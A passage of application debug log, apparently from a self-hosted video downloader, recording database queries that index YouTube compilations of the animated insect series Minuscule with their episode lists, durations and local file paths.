https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Winter Of Our Discontent | S01E67\n00:04:48 | The Escapist | S01E59\n00:09:18 | The Noodle Battle | S01E70\n00:13:52 | The Persevering One | S01E31\n00:18:33 | Windswept | S01E68\n00:23:22 | Quiet! | S01E60\n00:28:04 | Interior Cobwebs | S01E64\n00:32:31 | Out Of A Tin Can | S01E65\n00:37:06 | Totem | S01E28\n00:41:52 | No Luck | S01E62\n00:46:35 | O Tannenbaum | S01E71\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#winter #fly #radiator #spider #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation", "0a33019c-d903-40bc-894f-7d1b836c60cb", "JRMFZTljx1I", 3105, false, 4, "https://www.youtube.com/watch?v=JRMFZTljx1I", 45, "/downloads/Miniscule Season 1/2025-05-22 The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation/The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation [JRMFZTljx1I].mkv", false, false, false, [], 1, ~U[2025-05-22 10:01:42Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Winter Of Our Discontent | S01E67\n00:04:48 | The Escapist | S01E59\n00:09:18 | The Noodle Battle | S01E70\n00:13:52 | The Persevering One | S01E31\n00:18:33 | Windswept | S01E68\n00:23:22 | Quiet! | S01E60\n00:28:04 | Interior Cobwebs | S01E64\n00:32:31 | Out Of A Tin Can | S01E65\n00:37:06 | Totem | S01E28\n00:41:52 | No Luck | S01E62\n00:46:35 | O Tannenbaum | S01E71\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#winter #fly #radiator #spider #escape #flies #cocoon #Minuscule #nature #insects #ladybugs #animatedseries", "The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation", "JRMFZTljx1I", 3105, false, 4, "https://www.youtube.com/watch?v=JRMFZTljx1I", "/downloads/Miniscule Season 1/2025-05-22 The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation/The Winter Of Our Discontent 🕷️ Minuscule | 60' Compilation [JRMFZTljx1I].mkv", false, ~U[2025-05-22 10:01:42Z]] 00:54:32.474 [debug] QUERY OK source="sources" db=0.5ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:32.476 [debug] QUERY OK source="media_items" db=0.9ms idle=7.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-20 06:00:56Z], 4] 00:54:33.986 [debug] QUERY OK source="media_items" db=1509.1ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Picnic | S01E24\n00:09:23 | King Size Camembert | S01E45\n00:14:02 | The Quest For The Pink Lollipop | S01E32\n00:18:43 | Cherry Tomato | S01E77\n00:23:21 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #Picnic #Spider #Fly #Jam #Minuscule #nature #insects #ladybugs #animatedseries", "Chewing Gum | Minuscule 🍃 35' Compilation", "4c6d00a5-85c4-49d1-ae24-cedad3e9c6f7", "CGWyqIQ1phY", 1719, false, 4, "https://www.youtube.com/watch?v=CGWyqIQ1phY", 46, "/downloads/Miniscule Season 1/2025-05-20 Chewing Gum | Minuscule 🍃 35' Compilation/Chewing Gum | Minuscule 🍃 35' Compilation [CGWyqIQ1phY].mkv", false, false, false, [], 1, ~U[2025-05-20 06:00:56Z], ~U[2025-12-14 07:54:32Z], ~U[2025-12-14 07:54:32Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Chewing Gum | S01E34\n00:04:38 | Picnic | S01E24\n00:09:23 | King Size Camembert | S01E45\n00:14:02 | The Quest For The Pink Lollipop | S01E32\n00:18:43 | Cherry Tomato | S01E77\n00:23:21 | Lettuce | S01E48\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#chewing #gum #fly #sticky #Picnic #Spider #Fly #Jam #Minuscule #nature #insects #ladybugs #animatedseries", "Chewing Gum | Minuscule 🍃 35' Compilation", "CGWyqIQ1phY", 1719, false, 4, "https://www.youtube.com/watch?v=CGWyqIQ1phY", "/downloads/Miniscule Season 1/2025-05-20 Chewing Gum | Minuscule 🍃 35' Compilation/Chewing Gum | Minuscule 🍃 35' Compilation [CGWyqIQ1phY].mkv", false, ~U[2025-05-20 06:00:56Z]] 00:54:33.987 [debug] QUERY OK source="sources" db=0.4ms idle=341.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:33.988 [debug] QUERY OK source="media_items" db=1.0ms idle=342.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-08 10:01:40Z], 4] 00:54:34.044 [debug] QUERY OK source="media_items" db=55.1ms idle=343.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It Never Rains But It Pours | S01E41\n00:04:48 | A Rolling Snail Gathers No Moss | S01E49\n00:09:24 | Leech | S01E73\n00:13:48 | A Snail’s Dream | S01E11\n00:18:38 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snails #drought #journey #water #snail #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "It Never Rains But It Pours | Minuscule 🍃 30' Compilation", "c65fff7f-e4f0-4ae7-b30f-5b892edb1041", "-eoQKdjIWL8", 1432, false, 4, "https://www.youtube.com/watch?v=-eoQKdjIWL8", 47, "/downloads/Miniscule Season 1/2025-05-08 It Never Rains But It Pours | Minuscule 🍃 30' Compilation/It Never Rains But It Pours | Minuscule 🍃 30' Compilation [-eoQKdjIWL8].mp4", false, false, false, [], 1, ~U[2025-05-08 10:01:40Z], ~U[2025-12-14 07:54:33Z], ~U[2025-12-14 07:54:33Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | It Never Rains But It Pours | S01E41\n00:04:48 | A Rolling Snail Gathers No Moss | S01E49\n00:09:24 | Leech | S01E73\n00:13:48 | A Snail’s Dream | S01E11\n00:18:38 | Shell-Less | S01E19\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#snails #drought #journey #water #snail #playground #slide #Minuscule #nature #insects #ladybugs #animatedseries", "It Never Rains But It Pours | Minuscule 🍃 30' Compilation", "-eoQKdjIWL8", 1432, false, 4, "https://www.youtube.com/watch?v=-eoQKdjIWL8", "/downloads/Miniscule Season 1/2025-05-08 It Never Rains But It Pours | Minuscule 🍃 30' Compilation/It Never Rains But It Pours | Minuscule 🍃 30' Compilation [-eoQKdjIWL8].mp4", false, ~U[2025-05-08 10:01:40Z]] 00:54:34.045 [debug] QUERY OK source="sources" db=0.4ms idle=166.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.046 [debug] QUERY OK source="media_items" db=1.0ms idle=60.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-27 06:00:57Z], 4] 00:54:34.049 [debug] QUERY OK source="media_items" db=2.2ms idle=60.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Shellproof Nut | S01E40\n00:04:48 | Rosy | S01E38\n00:09:30 | Torpedo | S01E52\n00:14:09 | The Mosquito | S01E58\n00:18:19 | Leech | S01E73\n00:22:44 | Ants | S01E02\n00:27:33 | Dragonflies | S01E33\n00:32:17 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ants #nut #problem #ideas #busy #ant #objects #conformist #Minuscule #nature #insects #ladybugs #animatedseries", "The Shellproof Nut | Minuscule 🍃 45' Compilation", "06753b92-de65-4f60-bc37-498cf6798a67", "THmrro2B8-E", 2247, false, 4, "https://www.youtube.com/watch?v=THmrro2B8-E", 48, "/downloads/Miniscule Season 1/2025-05-27 The Shellproof Nut | Minuscule 🍃 45' Compilation/The Shellproof Nut | Minuscule 🍃 45' Compilation [THmrro2B8-E].mp4", false, false, false, [], 1, ~U[2025-05-27 06:00:57Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Shellproof Nut | S01E40\n00:04:48 | Rosy | S01E38\n00:09:30 | Torpedo | S01E52\n00:14:09 | The Mosquito | S01E58\n00:18:19 | Leech | S01E73\n00:22:44 | Ants | S01E02\n00:27:33 | Dragonflies | S01E33\n00:32:17 | Ladybugs | S01E17\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ants #nut #problem #ideas #busy #ant #objects #conformist #Minuscule #nature #insects #ladybugs #animatedseries", "The Shellproof Nut | Minuscule 🍃 45' Compilation", "THmrro2B8-E", 2247, false, 4, "https://www.youtube.com/watch?v=THmrro2B8-E", "/downloads/Miniscule Season 1/2025-05-27 The Shellproof Nut | Minuscule 🍃 45' Compilation/The Shellproof Nut | Minuscule 🍃 45' Compilation [THmrro2B8-E].mp4", false, ~U[2025-05-27 06:00:57Z]] 00:54:34.050 [debug] QUERY OK source="sources" db=0.4ms idle=61.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.051 [debug] QUERY OK source="media_items" db=0.8ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-17 18:01:00Z], 4] 00:54:34.054 [debug] QUERY OK source="media_items" db=2.1ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Nap Time | S01E14\n00:09:30 | The Dung Beetle Battle | S01E15\n00:14:15 | Cicadas’ Song | S01E16\n00:19:05 | Ladybugs | S01E17\n00:23:44 | The Bridge On The River Zzzzzzz | S01E18\n00:28:30 | Shell-Less | S01E19\n00:33:14 | Caterpillar Dream | S01E20\n00:38:03 | Horsefly | S01E21\n00:42:45 | Zzzeplin | S01E22\n00:47:34 | United We Stand | S01E23\n00:52:01 | Picnic | S01E24\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #ladybug #nap #dream #cicada #Minuscule #nature #ladybugs #animatedseries", "A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation", "fbcbb7c6-c9bf-453d-ab01-d0387db962dc", "1VoY_0vBfMU", 3436, false, 4, "https://www.youtube.com/watch?v=1VoY_0vBfMU", 49, "/downloads/Miniscule Season 1/2025-05-17 A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation/A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation [1VoY_0vBfMU].mkv", false, false, false, [], 1, ~U[2025-05-17 18:01:00Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | A Gust Of Wind | S01E13\n00:04:41 | Nap Time | S01E14\n00:09:30 | The Dung Beetle Battle | S01E15\n00:14:15 | Cicadas’ Song | S01E16\n00:19:05 | Ladybugs | S01E17\n00:23:44 | The Bridge On The River Zzzzzzz | S01E18\n00:28:30 | Shell-Less | S01E19\n00:33:14 | Caterpillar Dream | S01E20\n00:38:03 | Horsefly | S01E21\n00:42:45 | Zzzeplin | S01E22\n00:47:34 | United We Stand | S01E23\n00:52:01 | Picnic | S01E24\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#wind #insects #fly #spider #ladybug #nap #dream #cicada #Minuscule #nature #ladybugs #animatedseries", "A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation", "1VoY_0vBfMU", 3436, false, 4, "https://www.youtube.com/watch?v=1VoY_0vBfMU", "/downloads/Miniscule Season 1/2025-05-17 A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation/A Gust Of Wind 🍃 Minuscule 🍃 70' Compilation [1VoY_0vBfMU].mkv", false, ~U[2025-05-17 18:01:00Z]] 00:54:34.055 [debug] QUERY OK source="sources" db=0.3ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.056 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-15 10:01:38Z], 4] 00:54:34.059 [debug] QUERY OK source="media_items" db=2.0ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Ladybug | S01E01\n00:04:36 | Ants | S01E02\n00:09:25 | Love Story | S01E03\n00:14:14 | Wasp Belle | S01E04\n00:19:04 | Ugly | S01E05\n00:23:51 | Caterpillars in Pairs | S01E06\n00:28:38 | Yellow | S01E07\n00:33:26 | The Caterpillar and the Brook | S01E08\n00:38:15 | Cowardly Coward | S01E09\n00:43:04 | Convoy | S01E10\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #bees #chase #spider #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "The Ladybug 🐞 Minuscule 🍃 60' Compilation", "993a0a2b-af2b-4dc9-8dde-4565d7888a98", "LfgYnhHdrKk", 2897, false, 4, "https://www.youtube.com/watch?v=LfgYnhHdrKk", 50, "/downloads/Miniscule Season 1/2025-05-15 The Ladybug 🐞 Minuscule 🍃 60' Compilation/The Ladybug 🐞 Minuscule 🍃 60' Compilation [LfgYnhHdrKk].mkv", false, false, false, [], 1, ~U[2025-05-15 10:01:38Z], ~U[2025-12-14 07:54:34Z], ~U[2025-12-14 07:54:34Z], "👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | The Ladybug | S01E01\n00:04:36 | Ants | S01E02\n00:09:25 | Love Story | S01E03\n00:14:14 | Wasp Belle | S01E04\n00:19:04 | Ugly | S01E05\n00:23:51 | Caterpillars in Pairs | S01E06\n00:28:38 | Yellow | S01E07\n00:33:26 | The Caterpillar and the Brook | S01E08\n00:38:15 | Cowardly Coward | S01E09\n00:43:04 | Convoy | S01E10\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#ladybug #bees #chase #spider #ants #sugar #garden #anthill #Minuscule #nature #insects #ladybugs #animatedseries", "The Ladybug 🐞 Minuscule 🍃 60' Compilation", "LfgYnhHdrKk", 2897, false, 4, "https://www.youtube.com/watch?v=LfgYnhHdrKk", "/downloads/Miniscule Season 1/2025-05-15 The Ladybug 🐞 Minuscule 🍃 60' Compilation/The Ladybug 🐞 Minuscule 🍃 60' Compilation [LfgYnhHdrKk].mkv", false, ~U[2025-05-15 10:01:38Z]] 00:54:34.060 [debug] QUERY OK source="sources" db=0.4ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 00:54:34.061 [debug] QUERY OK source="media_items" db=0.9ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-03 18:00:51Z], 4] 00:54:34.064 [debug] QUERY OK source="media_items" db=2.2ms idle=6.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["👉 Subscribe for more videos: https://www.youtube.com/channel/UCOOi7JtIMDaYsaUjDBSTSIQ?sub_confirmation=1\r\n \r\nWhen a National Geographic-style documentary blends with an irresistibly humorous Tex Avery cartoon… Minuscule combines 3D animation and live footage with no dialogue, offering an offbeat take on insects’ daily lives and a fresh way to explore nature. With its universal charm, Minuscule captivates people of all ages around the world.\r\n \r\nIn this compilation:\r\n00:00:00 | Cicada Do Brasil | S01E44\n00:04:36 | Mad Fly | S01E55\n00:09:15 | Nap Time | S01E14\n00:14:04 | Cicadas’ Song | S01E16\n00:18:53 | Insect High Velocity | S01E53\r\n \r\n🐞 Minuscule: The Animated Series | Season 1 | Minuscule Official: https://www.youtube.com/playlist?list=PL7eLsxQrsg-5XomfLKJsXuPg9qSYcG30a\r\n\r\n© Futurikon\r\n\r\n#Cicada #Brazil #music #culture #fly #village #alarms #chaos #Minuscule #nature #insects #ladybugs #animatedseries", "Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation", "cf5f955f-f6d8-48af-95a6-812387a18796", "x5wGlJ5D6sQ", 1443, false, 4, "https://www.youtube.com/watch?v=x5wGlJ5D6sQ", 51, "/downloads/Miniscule Season 1/2025-05-03 Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation/Cicada Do Brasil 🇧🇷 Minuscule 🍃 30' Compilation [x5wGlJ5D6sQ].mkv", false, false, false, [], 1, ~U[2025-05-03 18:00:51Z], 